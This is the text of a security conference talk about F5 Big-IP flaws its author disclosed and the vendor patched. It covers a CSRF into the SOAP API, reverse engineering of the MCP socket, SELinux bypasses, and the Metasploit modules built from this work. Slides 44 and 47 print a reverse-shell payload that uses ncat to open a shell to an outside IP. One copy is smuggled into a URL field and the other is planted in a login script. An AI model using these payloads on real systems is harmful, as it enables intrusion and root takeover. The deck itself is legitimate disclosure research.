1 of 59

Hacking Networking Gear F5

Ron Bowes - @iagox86

From CSRF to Root

December 2, 2022

https://infosec.exchange/@iagox86

1

2 of 59

Agenda

  • Introduction
  • Exploring F5 Big-IP's Attack Surface
  • The "mcp" Database Engine
    • Running our own queries
  • Exploring the SOAP API
    • Bypassing SELinux Restrictions
  • Tools and stuff
    • PoC, open source tools, Metasploit modules

2

3 of 59

Introduction

3

4 of 59

Me

  • Ron Bowes - @iagox86 basically everywhere
  • Jobs
    • Current: Lead Security Researcher @ Rapid7
    • Last: Pentester / CTF developer @ Counter Hack
    • Two ago: Product / third-party security @ Google
  • Volunteer
    • CTF lead / developer @ BSides San Francisco
    • Lead organizer @ The Long Con (previously BSides�Winnipeg)

Clang

(like the compiler)

Sharp

(like C#)

Ron

(just Ron)

4

5 of 59

This talk

  • A bunch of vulnerabilities in F5 Big-IP
    • Disclosed to vendor 2022-08, patched 2022-11
  • We've published...
  • What's left?
    • I want to tell the story!
    • I hope we can do a lot of examples live, if my VM cooperates. :)
      • (Including screenshots for reference + backup plan)
  • Target: F5 Big-IP 17.0.0.1 (the .ova version)

5

6 of 59

Why F5?

A few reasons I chose this target:

  • I worked on CVE-2022-1388 (RCE)
  • It seemed like an interesting target
  • It's common in enterprises
  • It runs on Linux and has handy tools installed (socat, ncat, etc)

6

7 of 59

Initial Analysis

A few leads, a few dead-ends

7

8 of 59

Attack surface - netstat

It's a Linux system w/ standard CLI tools (like netstat, ncat, socat, strace, etc.)

We'll explore a bit, then come back to a few things

Some ideas (in no real order):

  • Apache modules?
  • Authentication modules?
  • Network services?
  • CGI scripts?
  • Startup scripts?

8

9 of 59

Attack surface - Apache modules

Custom Apache modules - network-facing low-level code!

CVE-2022-1388 was a remote root vulnerability in a module

Enumerate w/ "httpd -M"

9

10 of 59

Attack surface - Apache modules

There's certainly interesting code - like raw RSA, cookie processing, "database" (MCP) queries, etc

Ultimately, didn't find much interesting

10

11 of 59

Attack surface - Apache authentication

Authentication uses PAM - from httpd.conf (Apache's config file):

And PAM has a custom module:

11

12 of 59

Attack surface - PAM authentication module

But, it's largely a blocklist (or allowlist) with some other features:

12

13 of 59

Attack surface - What about CGI?

"apachectl status"

Four CGI scripts, had to reverse engineer to figure out arguments

13

14 of 59

Attack surface - CGI scripts - mpqd

"Seems like some sorta DB thing?" --my notes

  • We'll come back to this!

14

15 of 59

Attack surface - CGI scripts - rrdstats

A thin wrapper around a shell utility - requires auth, but no CSRF protection - probably worth fuzzing

15

16 of 59

Attack surface - CGI scripts - rtstats

Another stats-type query - didn't seem to be anything interesting

16

17 of 59

Attack surface - CGI scripts - iControlPanel.cgi

It's a SOAP interface!

We'll come back to this later. :)

17

18 of 59

Attack surface - Startup Services

/var/service = startup stuff

Lots of interesting stuff here!

18

19 of 59

Attack surface - f5_update_checker?

19

20 of 59

Attack surface - f5_update_checker?

It runs, parses config file, does insecure curl, and.... nothing on the device uses it? A long forgotten script?

20

21 of 59

Attack surface - f5_update_checker

<-- I reverse the file format, it looks like this

Log output when you reboot:

21

22 of 59

Attack surface - f5_update_checker

Command injection!

Can create root backdoor...

...if you already have root :(

We'll come back to this :)

My notes -->

22

23 of 59

Attack surface - Summary

What we learned:

  • There's a "database" called "MCP"
  • There's a SOAP interface that runs as root
  • There's an "updater" service at startup w/ local command injection

23

24 of 59

MCP

F5's database

24

25 of 59

What's MCP?

From what I can tell, a proprietary / not-publicly-documented datastore

Accessed via /var/run/mcp

AF_UNIX socket with 0777 permissions

25

26 of 59

Building queries

We know how to run queries, so...

26

27 of 59

"Reversing" MCP (aka, breaking stuff)

Can we steal the socket?

Yup! Note: this kills the devices (till you reboot)

27

28 of 59

"Reversing" MCP (aka, breaking stuff)

Can we MitM? Yup! "rm" the socket, then:

This doesn't (immediately) break

the device, but can't be good for�it :)

Request

28

29 of 59

"Reversing" MCP (aka, breaking stuff)

Can we replay? Yup!

Same Request we saw

29

30 of 59

MCP Protocol

I reversed the whole protocol, with:

  • Disassembling /use/lib/libmcp.so
  • Experimentation
  • Brute force determination

30

31 of 59

MCP Protocol - Tool to build / parse queries

31

32 of 59

MCP Protocol - Tool to create accounts

mcp-privesc.rb creates a new root-level account

(root is not�required to�make these�queries!)

32

33 of 59

MCP Protocol - MitM

Not a vulnerability - requires a root login

But, a research tool!

(Sometimes breaks things)

33

34 of 59

SOAP

Getting dirty!

34

35 of 59

Exploring SOAP

WSDL files are available on the host

35

36 of 59

Exploring SOAP

Use advanced analysis techniques ("grep") to get all the names, then advanced data-mining ("grep") to find interesting ones

36

37 of 59

Exploring SOAP

This requires an account, but bear with me!

(I'll share a GitHub link with all this later)

"Password1"

37

38 of 59

Exploring SOAP

I learned how to make SOAP requests so you don't have to :)

"Hello world!"

38

39 of 59

Exploring SOAP

Problem: SELinux, of all things!

39

40 of 59

Exploiting SOAP

So wouldn't it be cool if...

  • We could call any SOAP function without authenticating?
  • And get SELinux to leave us alone?
  • And get ponies - you ALWAYS ask for ponies
    • (if nothing else, it's room to negotiate)

40

41 of 59

Exploiting SOAP 1: Bypass authentication

Enter: Cross-site Request Forgery (CSRF)!

  • Step 1: Administrator creates a session to do administratory things (HTTP Basic auth doesn't typically time out)
  • Step 2: Administrator browses somewhere less trusted
  • Step 3: Administrator's browser is redirected back to SOAP without their knowledge

41

42 of 59

Exploiting SOAP 1: CSRF

It's a bit clunky, but we can run HTML code (left) in the user's browser, which sends a legal SOAP request (below)

42

43 of 59

Exploiting SOAP 2: Bypass SELinux

Remember this slide from earlier?

I wonder if we can write to�shared/f5_update_action?

Let's try it!

43

44 of 59

Exploiting SOAP 2: Bypass SELinux

Upload our own /shared/f5_update_action

AAA

https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444

https://localhost/error

0

0

0

0

44

45 of 59

Exploiting SOAP 2: Bypass SELinux

Then wait for a reboot (technically there's a "reboot_system" SOAP endpoint, but rebooting a load balancer is probably a bad idea)

45

46 of 59

Exploiting SOAP 2: Bypass SELinux (method 2)

One file in /etc/profile.d is actually okay to replace

46

47 of 59

Exploiting SOAP 2: Bypass SELinux (method 2)

Just write commands to /etc/profile.d/timeout.sh, then wait for somebody to log in

ncat -e /bin/bash 10.0.0.179 4444 & disown;

47

48 of 59

Exploiting SOAP 3: Get ponies

Sorry, there are no ponies

48

49 of 59

Putting it all together

And into Metasploit!

49

50 of 59

Tools

Open source implementation of MCP:

Demo SOAP exploit / PoC:

50

51 of 59

Metasploit modules

I wrote Metasploit modules for:

  • RCE via the CSRF exploit we talked about - CVE-2022-41622
    • Both SELinux bypass methods
  • Another authenticated RCE that we didn't talk about - CVE-2022-41800
    • (Okay, I betcha I said something about it)
  • Privilege escalation via /var/run/mcp - no CVE
  • Post-exploitation data gathering from /var/run/mcp

Time to demo whatever we have time for!

(the next pile of slides are screenshots, since we're probably outta time)

51

52 of 59

Metasploit module - CSRF / SOAP (CVE-2022-41622)

52

53 of 59

Metasploit module - RPM SPEC injection (CVE-2022-41800)

53

54 of 59

Metasploit module - Privesc via /var/run/mcp

54

55 of 59

Metasploit module: post/module/gather/f5_enum_users

55

56 of 59

Metasploit module: post/module/gather/f5_enum_db_variables

56

57 of 59

Metasploit module: post/module/gather/f5_passwords

57

58 of 59

Q&A / Contact

58

59 of 59

Questions, if we have time!

Otherwise:

Slides: https://tinyurl.com/hushcon2022-bigip-iagox86

59